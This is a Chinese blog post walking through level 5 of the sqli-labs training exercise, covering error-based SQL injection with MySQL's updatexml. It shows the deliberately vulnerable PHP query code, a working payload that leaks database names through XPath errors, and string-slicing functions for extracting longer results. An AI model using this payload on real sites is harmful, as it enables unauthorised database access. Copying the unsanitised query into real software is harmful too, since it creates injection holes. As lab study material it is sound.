sqli第五关报错注入

文章介绍了SQL查询中的MySQL查询和XML更新函数updatexml的使用,包括XPath表达式的应用,同时提到了XPath中特殊字符处理和SQL注入的潜在风险。
摘要由CSDN通过智能技术生成

源码(单引号闭合但是没有回显)

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

	if($row)
	{
  	echo '<font size="5" color="#FFFF00">';	
  	echo 'You are in...........';
  	echo "<br>";
    	echo "</font>";
  	}
	else 
	{
	
	echo '<font size="3" color="#FFFF00">';
	print_r(mysql_error());
	echo "</br></font>";	
	echo '<font color= "#0000ff" font size= 3>';	
	
	}
}
	else { echo "Please input the ID as parameter with numeric value";}

?>

updatexml注入

UPDATEXML(xml_data, '//order[@id="123"]/customer', 'Jane Roe')
updatexml(1,concat(0x7e,(),0x7e),1)

UPDATEXML() 函数用于在 XML 文档中更新特定节点的值。它接受三个参数:

  1. 要更新的 XML 文档:这通常是一个包含 XML 数据的列或变量。在上述示例中,xml_data 列存储了 XML 文档。

  2. XPath 表达式:这是用于定位要更新的节点的路径表达式。XPath 是一种用于在 XML 文档中导航和选择节点的语言。在示例中,'//employee[@id="1"]/department' 是一个 XPath 表达式,它选择了所有具有 id 属性值为 1 的 employee 节点的 department 子节点。

  3. 新的值:这是要设置给选定节点的新值。在示例中,'Operations' 是要设置的新部门名称。

 xpath出现特殊字符会报错;

如果是~则报如下错:XPATH syntax error: '~'

注:0x7e就是~

该报错最多回显32个字符(所有要截取)

payload

?id=1' and updatexml(1,right(concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e),32),3)--+

1、left(201809,4)截取左边的4个字符
SELECT LEFT(201809,4)    //结果:2018

2、right(name,2)截取右边的2个字符
SELECT RIGHT(201809,2)    //结果:09

3、SUBSTRING(name,5,3) 截取name这个字段 从第五个字符开始 只截取之后的3个字符
SELECT SUBSTRING('成都融资事业部',5,3)   //结果:事业部

4、SUBSTRING(name,3) 截取name这个字段 从第三个字符开始,之后的所有个字符
SELECT SUBSTRING('成都融资事业部',3)   //结果:融资事业部

5、SUBSTRING(name, -4) 截取name这个字段的第 4 个字符位置(倒数)开始取,直到结束
SELECT SUBSTRING('成都融资事业部',-4)   //结果:资事业部

6、SUBSTRING(name, -4,2) 截取name这个字段的第 4 个字符位置(倒数)开始取,只截取之后的2个字符
SELECT SUBSTRING('成都融资事业部',-4,2)   //结果:资事
注意:我们注意到在函数 substring(str,pos, len)中, pos 可以是负值,但 len 不能取负值。

7、substring_index('www.baidu.com', '.', 2) 截取第二个 '.' 之前的所有字符
SELECT substring_index('www.baidu.com', '.', 2)   //结果:www.baidu

8、substring_index('www.baidu.com', '.', -2) 截取第二个 '.' (倒数)之后的所有字符
SELECT substring_index('www.baidu.com', '.', -2)   //结果:baidu.com

9、SUBSTR(name, 1, CHAR_LENGTH(name)-3) 截取name字段,取除name字段后三位的所有字符
SELECT SUBSTR('成都融资事业部', 1, CHAR_LENGTH('成都融资事业部')-3)            //结果:成都融资

10、mid(str,start,[length])
str:截取的字符串   start:起始位置   length:截取的长度,可以忽略

 

  • 3
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值